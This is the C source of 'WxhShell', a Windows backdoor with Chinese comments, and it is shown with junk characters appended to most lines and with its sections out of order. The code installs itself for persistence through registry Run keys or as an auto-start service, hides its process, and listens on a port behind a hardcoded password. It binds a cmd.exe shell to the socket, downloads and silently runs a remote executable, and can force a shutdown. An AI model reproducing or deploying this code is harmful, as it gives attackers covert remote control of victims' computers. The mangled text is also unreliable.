    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gc[J.[  
    if(Boot(SHUTDOWN)) o xu9v/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K05Y;URbd  
    else { b/Q"j3  
    closesocket(wsh); ;*H~Yb0  
    ExitThread(0); )'|W[Sh?  
    } nqJV1h  
    break; bXLa~r4\  
    } |o) _=Fx  
  // 获取shell tKGsrgoV  
  case 's': { ^WPV  
    CmdShell(wsh); $KHDS:&  
    closesocket(wsh); U%\2drM&]  
    ExitThread(0); ,#OG/r-H  
    break; ulo7d1OVkJ  
  } =PM#eu  
  // 退出 l%~zj,ew  
  case 'x': { y'/9KrV T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CoXL;\  
    CloseIt(wsh); L%Q *\d  
    break; XPTB,1g+f  
    } G_4P)G3H  
  // 离开 l #z`4<  
  case 'q': { =@XR$Uud6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5D*V%v  
    closesocket(wsh); EQO7:vb  
    WSACleanup(); ^BTNx2VHf  
    exit(1); 1M+!cX  
    break; (1]@ fCd +  
        } @Qozud\?  
  } {_}"USS  
  } J"|$V#  
8}T3Fig,q  
  // 提示信息 bkIA:2HX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2cOZ1G;  
} ) <~7<.0  
  } W78-'c  
{z_pL^S'52  
  return; .6#2i <oPW  
} M4\Io]}-M  
7}.(EZ0  
// shell模块句柄 5] %kWV>  
int CmdShell(SOCKET sock) imQNfNm  
{ 2Jv4l$$;*  
STARTUPINFO si; SX;IUvVE5  
ZeroMemory(&si,sizeof(si)); y-k-E/V}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vb!KuI!:p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -v@^6bQVp  
PROCESS_INFORMATION ProcessInfo; q)zvePO#  
char cmdline[]="cmd"; YaNVpLA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <qx-%6  
  return 0; C( ;7*]  
} b6BIDuRb  
YO+d+5  
// 自身启动模式 42LV>X#i  
int StartFromService(void) 6d8  
{ SUhP e+  
typedef struct ,Z"sh*  
{ /VkJ+%}+j  
  DWORD ExitStatus; A79SAheX#  
  DWORD PebBaseAddress; 6V/mR~F1r  
  DWORD AffinityMask; 6 dMpd4"\  
  DWORD BasePriority; WLH2B1_):  
  ULONG UniqueProcessId; R8*4E0\br  
  ULONG InheritedFromUniqueProcessId; XW:(FzF  
}   PROCESS_BASIC_INFORMATION; 5w3'yA<vE  
omP 7|  
PROCNTQSIP NtQueryInformationProcess; 8/v_uEG  
2Y{9Df  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :+$_(* Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >=Veu; A  
0IuU4h5Fr  
  HANDLE             hProcess; ly+7klQ;.  
  PROCESS_BASIC_INFORMATION pbi; 9,+LNZ'k  
m%puD 9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6m&I_icM  
  if(NULL == hInst ) return 0; J( 60eTwQ  
VF.S)='>Eu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v<4zcMv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4r$t}t gX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n2~rrQ \/p  
UqbE  
  if (!NtQueryInformationProcess) return 0; %+}\i'j7  
)DMbO"7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3{z }[@N  
  if(!hProcess) return 0; >EjBk nl  
b-XBs7OAx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FliN@RNo  
"`zw(  
  CloseHandle(hProcess); |kD?^Nx  
j^M@0o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S1JB]\  
if(hProcess==NULL) return 0; ga1RMRu+  
EIAT*l:NW  
HMODULE hMod; HAXx`r<  
char procName[255]; [gDvAtTZ5  
unsigned long cbNeeded; /hHD\+0({  
O.!?O(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RIlPH~  
xi0&"?7la  
  CloseHandle(hProcess); z`CI gSR  
j43HSY7@  
if(strstr(procName,"services")) return 1; // 以服务启动 xhv)rhu@  
~mU#u\r(*  
  return 0; // 注册表启动 ]up:pddIh  
} }Na*jr0y9{  
qSR %#  
// 主模块 HU'}c*d]  
int StartWxhshell(LPSTR lpCmdLine) XUWza=BR"  
{ #0tM88Wi  
  SOCKET wsl; MwZ`NH|n3"  
BOOL val=TRUE; nr}H;wB  
  int port=0; v{+*/NQ_  
  struct sockaddr_in door; +%^D)   
[@)|j=:i:  
  if(wscfg.ws_autoins) Install(); bbnAmZ   
O<5bsKw'r  
port=atoi(lpCmdLine); Qw ED>G|  
ZtiOf}@i\  
if(port<=0) port=wscfg.ws_port; &E~7ty'  
&fWZ%C7|jC  
  WSADATA data; 71eD~fNdx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8G=4{,(A  
`YJ`?p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g6S8@b))|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \AG ,dMS  
  door.sin_family = AF_INET; ' x|B'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~$5[#\5%G  
  door.sin_port = htons(port); #t\Oq9}^  
K>-m8.~\E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >13=4S  
closesocket(wsl); !&X}? NK  
return 1; OT zh=Z^r  
} sfH|sp  
!#3R<bW`R8  
  if(listen(wsl,2) == INVALID_SOCKET) { ?tBEB5  
closesocket(wsl); Jyn>:Yq(  
return 1; _ ge3R3  
} = hpX2/]  
  Wxhshell(wsl); f -#fi7  
  WSACleanup(); r$+9grm<  
[KJm&\evp  
return 0; q\ ?6-?Mr  
edm&,ph]  
} 1}N5WBp  
s%Z3Zj(,8(  
// 以NT服务方式启动 UJQ!~g.y]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a/_ `1  
{ 7oUYRqd  
DWORD   status = 0; p B )nQ5l'  
  DWORD   specificError = 0xfffffff; g{&ux k);  
2o,%O91p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \aG>(Mr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \KG{ 11  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p%n}a%%I  
  serviceStatus.dwWin32ExitCode     = 0; Ly3^zF W  
  serviceStatus.dwServiceSpecificExitCode = 0; )y8$-"D(it  
  serviceStatus.dwCheckPoint       = 0; s+4G`mq>*  
  serviceStatus.dwWaitHint       = 0; 6$IAm#  
q4VOK 'N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LJT+tb?K  
  if (hServiceStatusHandle==0) return; ' e-FJ')|  
QkA79%;j  
status = GetLastError(); @o8\`G  
  if (status!=NO_ERROR) Lq yY??\@  
{ _m@QeO'yh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K'y;j~`-  
    serviceStatus.dwCheckPoint       = 0; :.@gd7T  
    serviceStatus.dwWaitHint       = 0; z}Xn>-N-  
    serviceStatus.dwWin32ExitCode     = status; ?g!py[CrE  
    serviceStatus.dwServiceSpecificExitCode = specificError; l( "_JI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h!$W^Tm2g  
    return; :?&N/ 7  
  } x3]es"4Q  
aRR*<dY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zK33.HY  
  serviceStatus.dwCheckPoint       = 0; #b:8-Lt:M  
  serviceStatus.dwWaitHint       = 0; kz+P?mopm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TfMuQi'>  
} op[5]tjL  
KyDQ<Dq&  
// 处理NT服务事件,比如:启动、停止 4"0`J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) poeKY[].  
{ 0,,x|g$TpT  
switch(fdwControl) C:W}hA!  
{ !J.qH%S5   
case SERVICE_CONTROL_STOP: m7fmQUk  
  serviceStatus.dwWin32ExitCode = 0; ze]2-B4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7kHEY5s "  
  serviceStatus.dwCheckPoint   = 0; B;L~ hM  
  serviceStatus.dwWaitHint     = 0; Qb6s]QZEV  
  { + 6O5hZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'a*tee ^RS  
  } &c0U\G|j  
  return; 0IxXhu6v  
case SERVICE_CONTROL_PAUSE: @2]_jW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  z>hA1*Ti  
  break; S's\M5  
case SERVICE_CONTROL_CONTINUE: 7\eN 8+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -k= 02?0p+  
  break; Ly lw('zZ  
case SERVICE_CONTROL_INTERROGATE: C;M.dd  
  break; nxCwg>  
}; !|hv49!H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2?#IwT'  
} nJlrBf_Kj  
rE EWCt  
// 标准应用程序主函数 pGh2 4E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /wVrr%SN  
{ ?$v#;n?@I  
d0eMDIm3R\  
// 获取操作系统版本 | x/,  
OsIsNt=GetOsVer(); $Ic: c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s7#w5fe  
@u#Tx%  
  // 从命令行安装 EJ"[{AV  
  if(strpbrk(lpCmdLine,"iI")) Install(); # KK>D?.:  
'3 5w(  
  // 下载执行文件 Jn-iIl  
if(wscfg.ws_downexe) { ul1#_xp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Jlz$]f  
  WinExec(wscfg.ws_filenam,SW_HIDE); tUH#%  
} Y]Td+ Zi  
kT t;3Ia  
if(!OsIsNt) { ~bhesWk8!  
// 如果时win9x,隐藏进程并且设置为注册表启动 XTyJ*`>  
HideProc(); kK>PFk(  
StartWxhshell(lpCmdLine); CQ9B;i`  
} s `U.h^V  
else q0,Diouq  
  if(StartFromService()) *^ g7kCe(  
  // 以服务方式启动 T]Pp\6ff  
  StartServiceCtrlDispatcher(DispatchTable); ORD@+ {  
else " P c"{w  
  // 普通方式启动 _0<qS{RW  
  StartWxhshell(lpCmdLine); XOAZ  
.A//Q|ot!  
return 0; ]^uO3!+  
} LSS3(l[,:  
a 39Kl_\  
17 Hdj  
O|}97a^  
=========================================== 8(&Jy RT  
Tl6%z9rY@  
FhVi|V a  
"hdc B 0  
!c(B c^  
3V>2N)3`A  
" *+{umfZy  
aOFF"(]Cl  
#include <stdio.h> LxC*{t/>8  
#include <string.h> Y<0 [_+(  
#include <windows.h> LS}dt?78`V  
#include <winsock2.h> /:iO:g1  
#include <winsvc.h> VQI  
#include <urlmon.h> 9 N[k ?kUZ  
c$ya{]a  
#pragma comment (lib, "Ws2_32.lib") `}Ssc-A  
#pragma comment (lib, "urlmon.lib") RoFy2A=_  
}J$Q  
#define MAX_USER   100 // 最大客户端连接数 Wt*&_+ae  
#define BUF_SOCK   200 // sock buffer D7T(B=S6  
#define KEY_BUFF   255 // 输入 buffer bX23F?  
?aR)dQ  
#define REBOOT     0   // 重启 t:X\`.W  
#define SHUTDOWN   1   // 关机 ]{;=<t6  
7+QD=j-  
#define DEF_PORT   5000 // 监听端口 dOh`F~ Y)e  
pHSq,XP-  
#define REG_LEN     16   // 注册表键长度 ()i8 Qepo}  
#define SVC_LEN     80   // NT服务名长度 ;"l>HL:^  
t&MJSFkiA  
// 从dll定义API Z<T%:F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ke@zS9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Y6'Q8g f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lwm2:_\_b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cPZD#";f  
Rrm k\7/  
// wxhshell配置信息 :yO.Te F  
struct WSCFG { u^&2T(xG i  
  int ws_port;         // 监听端口 P]hS0,sE<(  
  char ws_passstr[REG_LEN]; // 口令 h)2W}p{a4=  
  int ws_autoins;       // 安装标记, 1=yes 0=no dP}=cZ~  
  char ws_regname[REG_LEN]; // 注册表键名 KAH9?zI)M  
  char ws_svcname[REG_LEN]; // 服务名 2A'!kd$2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H*BzwbM?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8DHohhN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +dIDFSd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ('BFy>@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]"Z*Hq z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +MU|XT_5|6  
aUUr&yf_L  
}; P0WI QG+  
]NgK(I U  
// default Wxhshell configuration MdM^!sk&`  
struct WSCFG wscfg={DEF_PORT, )D?\ru H  
    "xuhuanlingzhe", / V}>v  
    1, *Y(v!x \L  
    "Wxhshell", |>(d^<nR^v  
    "Wxhshell", X~wkqI#d%E  
            "WxhShell Service", huVw+vAA  
    "Wrsky Windows CmdShell Service", 0]%0wbY1  
    "Please Input Your Password: ", {YnR]|0&  
  1, n%GlO KC  
  "http://www.wrsky.com/wxhshell.exe", PEqO<a1Z8  
  "Wxhshell.exe" ~$xLR/{y  
    }; G Xx7/X  
)* 5R/oy,  
// 消息定义模块 g#b[-)Qx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r:Uqtqxh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /;>U0~K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K8xwPoRL  
char *msg_ws_ext="\n\rExit."; p!5= 1$  
char *msg_ws_end="\n\rQuit."; {nTQc2T?;  
char *msg_ws_boot="\n\rReboot..."; Uv|z c  
char *msg_ws_poff="\n\rShutdown..."; -ZwQL="t  
char *msg_ws_down="\n\rSave to "; k/[*Wz$W  
"#Ov!t  
char *msg_ws_err="\n\rErr!"; rS1mBrqD  
char *msg_ws_ok="\n\rOK!"; T*YbmI]4  
c 4Q{  
char ExeFile[MAX_PATH]; <5rs~  
int nUser = 0; #m yiZL %  
HANDLE handles[MAX_USER]; &s m7R i  
int OsIsNt; wc@X:${  
.PjJ g^^  
SERVICE_STATUS       serviceStatus; |KEq-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?M?S+@(  
"A\.`*6  
// 函数声明 Q(Q .(  
int Install(void); K6"#&0  
int Uninstall(void); 7u8HcHl  
int DownloadFile(char *sURL, SOCKET wsh); c *<"&  
int Boot(int flag); 44;ZX$HL  
void HideProc(void); ` O;+N"v  
int GetOsVer(void); ?S&pq?   
int Wxhshell(SOCKET wsl); pdCn98}%-  
void TalkWithClient(void *cs); &%3$zgvR  
int CmdShell(SOCKET sock); Fl)p^uUtl  
int StartFromService(void); 2p'ujAK  
int StartWxhshell(LPSTR lpCmdLine); *a }NRf}W  
pZ4]K xX@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' *hy!f]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P=v 0|Y*q|  
L%4[,Rsw  
// 数据结构和表定义 P%HvL4R  
SERVICE_TABLE_ENTRY DispatchTable[] = Oa7x(wS  
{ Ut"~I)S{LT  
{wscfg.ws_svcname, NTServiceMain},  -)  
{NULL, NULL} CZE!rpl  
}; =R+z\`2  
dMkDNaH,  
// 自我安装 MZ" yjQA  
int Install(void) 2BTFK"=U  
{ %{GYTc \'X  
  char svExeFile[MAX_PATH]; |M&i#g<A;  
  HKEY key; qm30,$\c`~  
  strcpy(svExeFile,ExeFile); bpq2TgFj  
o#(z*v@  
// 如果是win9x系统,修改注册表设为自启动 ki/xo^Y2<  
if(!OsIsNt) { ERSo&8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jY^wqQls  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 88c-K{} 3  
  RegCloseKey(key); 2 de[ yz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3a#X:?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fwvPh&U&  
  RegCloseKey(key); &n:3n  
  return 0; }~gBnq_DDU  
    } S0X %IG  
  } s"1:#.u  
} "r@f&Ssxb  
else { UuDT=_1Sh  
m(Hb! RT  
// 如果是NT以上系统,安装为系统服务 ( `V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FFE IsB"9  
if (schSCManager!=0) fAx7_}k/ m  
{ "&jWC  
  SC_HANDLE schService = CreateService ;qM I3wF  
  ( InI^,&<  
  schSCManager, M9mC\Iz[  
  wscfg.ws_svcname, M7D@Uj&xx(  
  wscfg.ws_svcdisp, 9OIX5$,S;  
  SERVICE_ALL_ACCESS, v=n'#:k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H8^U!"~E  
  SERVICE_AUTO_START, (W*~3/@D  
  SERVICE_ERROR_NORMAL, {\tHS+]  
  svExeFile, ^A9D;e6!-  
  NULL, K(*QhKX  
  NULL, %EC{O@EAk  
  NULL, R <kh3T  
  NULL, %<^B\|d'?  
  NULL w&6c`az8  
  ); Koh`|]N  
  if (schService!=0) i21ybXA=Z  
  { uc6;%=%+  
  CloseServiceHandle(schService); x9fNIuAQ  
  CloseServiceHandle(schSCManager); 1.+w&Y5   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e;LJdd  
  strcat(svExeFile,wscfg.ws_svcname); !'-K>.B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NZUQ R`5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S<RJ46  
  RegCloseKey(key); c;M7[y&  
  return 0; K \?b6;ea  
    } vj?v7  
  } ^1d"Rqtv  
  CloseServiceHandle(schSCManager); QBi&Q%piy  
} lTNfTO^  
} +APf[ZpU  
I]S8:w![  
return 1; %lL^[`AR  
} 7"L`|O?8)  
R-v99e iN  
// 自我卸载 ^:JZ.r  
int Uninstall(void) F"7dN*7  
{ $s]c'D)  
  HKEY key; ]k2Jf}|  
jI`1>>N&1  
if(!OsIsNt) { aBV{Xr~#(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %m\dNUz4g  
  RegDeleteValue(key,wscfg.ws_regname); ,^dyS]!d$  
  RegCloseKey(key); _J<^'w^;%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vo'=d"zm  
  RegDeleteValue(key,wscfg.ws_regname); yn;h.m[):  
  RegCloseKey(key); V?{[IMRC  
  return 0; +.i?UHNB  
  } J{98x zb  
} =F>@z4[P-  
} P#`Mg@.  
else { <8yv(  
+-=o16*{ !  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NL})_.Og  
if (schSCManager!=0) 3U#z {%  
{ \/8 I6a=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]6wo]nV[P  
  if (schService!=0) eQBR*@x  
  { ?t LJe  
  if(DeleteService(schService)!=0) { XY(3!>/eQ[  
  CloseServiceHandle(schService); 5w:   
  CloseServiceHandle(schSCManager); yGN@Hd:9  
  return 0; Y6(I %hE`  
  } X2 {n&K  
  CloseServiceHandle(schService); 7%aaqQ1T  
  } #q2 cVN1  
  CloseServiceHandle(schSCManager); ]ZkhQ%  
} j~+<~2%c  
} 4z~ fn9g  
INQ0h`T  
return 1; >Le L%$  
} _c}@Fi+E  
FU-YI"  
// 从指定url下载文件 ;aA,H&   
int DownloadFile(char *sURL, SOCKET wsh) ZVo%ssVt  
{ - i``yf?P  
  HRESULT hr; "zSi9]j  
char seps[]= "/"; &Nx'Nq9y  
char *token; uus}NZ:*l  
char *file; E}U[VtaC  
char myURL[MAX_PATH]; /I2RU2|B  
char myFILE[MAX_PATH]; ~.4-\M6[  
esCm`?qCP  
strcpy(myURL,sURL); (<?6X9F:N  
  token=strtok(myURL,seps); V=";vRS8  
  while(token!=NULL) ?2ZggV  
  { I>k >^  
    file=token; ^WDAW#f*<  
  token=strtok(NULL,seps); )+]8T6~ N  
  } voRr9E*n  
cP[3p :  
GetCurrentDirectory(MAX_PATH,myFILE); *2O4*Q1  
strcat(myFILE, "\\"); F.P4c:GD  
strcat(myFILE, file); 4_3O?IY  
  send(wsh,myFILE,strlen(myFILE),0); /]=d Pb%  
send(wsh,"...",3,0); t7|uZHKK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); odxsF(Q0p  
  if(hr==S_OK) ,#G>&  
return 0; 6< x0e;>  
else 2UYtFWB9o  
return 1; F,0 @z/8a  
>sAZT:&gv  
} sjOyg!e  
l?CUd7P(a  
// 系统电源模块 8y;W+I(71  
int Boot(int flag)  <b7 4L  
{ ZA@QP1  
  HANDLE hToken; b&.j>=  
  TOKEN_PRIVILEGES tkp; 4am`X1YV#  
]^,<Ez  
  if(OsIsNt) { rM6^pzxe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wT?.Mte  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G)28#aH  
    tkp.PrivilegeCount = 1; $YvT* T$_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8zew8I~s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G%N/]]ll  
if(flag==REBOOT) { %AbA(F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J{$+\  
  return 0; +RexQE  
} F"O{eK0T  
else { +W+O7SK\y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) td^2gjr^5  
  return 0; O_8ERxj g]  
} aVv$k  
  } QF/A-[V  
  else { 3nt&Sf  
if(flag==REBOOT) { wCiDvHF5+C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fsa  
  return 0; D8P<mIu}Y  
} `_Bvae j?,  
else { %lZ++?&^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l,}{Y4\G  
  return 0; KE\p|Xi  
} t ZUZNKODW  
} B<c7&!B  
$M\|zUQu.  
return 1; iTgGf  
} -|^}~yOx0=  
)5Yv7x(K  
// win9x进程隐藏模块 Z5juyzj  
void HideProc(void) 7sECbbJT  
{ TQm x$  
y3T- ^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BcaMeb-Z  
  if ( hKernel != NULL ) kR%bdN  
  { =T5vu~[J/e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xz#;F ,`ZR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #*uSYGdc  
    FreeLibrary(hKernel); 65bLkR{0  
  } %Kd&A*  
,]@K6  
return; q;3,}emg  
} kYBTmz} z  
%+oWW5q7  
// 获取操作系统版本 dsP|j (y  
int GetOsVer(void) |K?fVL  
{ g|*2O}<  
  OSVERSIONINFO winfo; QjETu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iMRb` \KH  
  GetVersionEx(&winfo); K 1>.%m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (g,lDU[=  
  return 1; q+XL,E  
  else v{Cts3?Br  
  return 0; }$u]aX<  
} %C=^ h1t%  
"sF&WuW|  
// 客户端句柄模块 \KfngYD]W  
int Wxhshell(SOCKET wsl) \3dM A_5  
{ evf){XhT;n  
  SOCKET wsh; Kx9Cx 5B  
  struct sockaddr_in client; <mlQn?u  
  DWORD myID; ]bO {001y,  
bHcb+TR3  
  while(nUser<MAX_USER) b u%p,u!  
{ QC0^G,9.  
  int nSize=sizeof(client); T[M?:~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r{qM!(T  
  if(wsh==INVALID_SOCKET) return 1; SeAokz>  
uEQH6~\{Nl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tz.!  
if(handles[nUser]==0) $Tu%dE(OF  
  closesocket(wsh); wVk2Fr(  
else ,Iq+v  
  nUser++; :$d3}TjsA+  
  } R`ajll1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =O~1L m;  
NL&(/72V  
  return 0; uyP)5,  
} /6}4<~~4TA  
?RGL0`Lg  
// 关闭 socket GutH}Kz"&  
void CloseIt(SOCKET wsh) >XP]NY}Po[  
{ i'J.c4  
closesocket(wsh); 1\q(xka{  
nUser--; `*e',j2}UU  
ExitThread(0); B1m@  
} ~Kda#=  
?H1I,]Di  
// 客户端请求句柄 =-jkp  
void TalkWithClient(void *cs) (V @g?|LZ  
{ &'V_80vA  
x|*v(,7b]!  
  SOCKET wsh=(SOCKET)cs; x{<WJ|'B  
  char pwd[SVC_LEN]; $7gzu4f  
  char cmd[KEY_BUFF]; I z~#G6]M  
char chr[1]; a`(6hL3IT  
int i,j; Woa5Ov!n0  
!zLd ,`  
  while (nUser < MAX_USER) { s$6zA j!  
dluNA(Xc-  
if(wscfg.ws_passstr) { ]]@jvU_?kS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fh& ` v0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `g6XVa*%#  
  //ZeroMemory(pwd,KEY_BUFF); ;k^wn)JE$  
      i=0; 7a0ZI  
  while(i<SVC_LEN) { 4XK*sR0-`  
Cl[ '6Lk  
  // 设置超时 o!L1Qrh  
  fd_set FdRead; iZ#dS}VlJ  
  struct timeval TimeOut; Zoj.F  
  FD_ZERO(&FdRead); :gDIGBK,  
  FD_SET(wsh,&FdRead); 0trVmWQ8  
  TimeOut.tv_sec=8; *#e%3N05_  
  TimeOut.tv_usec=0; vn3<LQ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '#xxjhF^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rct|"k_"Ys  
UBuk-tq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,WA7Kp9  
  pwd=chr[0]; 1"A1bK  
  if(chr[0]==0xd || chr[0]==0xa) { 3sc5meSu'  
  pwd=0; G40,KCa  
  break; ;YNN)P%"  
  } \c>9f"jS_  
  i++; eS fT +UL  
    } Q6Y1Jr">X  
ZgF-.(GV  
  // 如果是非法用户,关闭 socket _1hc^j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9>u2; 'Ls  
} -[i9a:eRM  
SSycQ4[{o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); } IFZ$Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xy46].x-  
>8Zz<S&z  
while(1) { 67%eAS  
Mcc774'*9  
  ZeroMemory(cmd,KEY_BUFF); jVL<7@_*  
=$Sf]L  
      // 自动支持客户端 telnet标准   (f5!36mz  
  j=0; J|_&3@r  
  while(j<KEY_BUFF) { ^M6v;8EU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); im9 B=D  
  cmd[j]=chr[0]; /XS6X  
  if(chr[0]==0xa || chr[0]==0xd) { '?t]iRCeI7  
  cmd[j]=0; [J\5DctX;c  
  break; 9_ JK.  
  } 'VFxg,  
  j++; 9=@j]g|  
    } [Ua4{3#  
 dKDtj:  
  // 下载文件 -liVYI2s  
  if(strstr(cmd,"http://")) { PKT0Drv}c7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?H eC+=/Z  
  if(DownloadFile(cmd,wsh)) SPOg'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~!meO;|W  
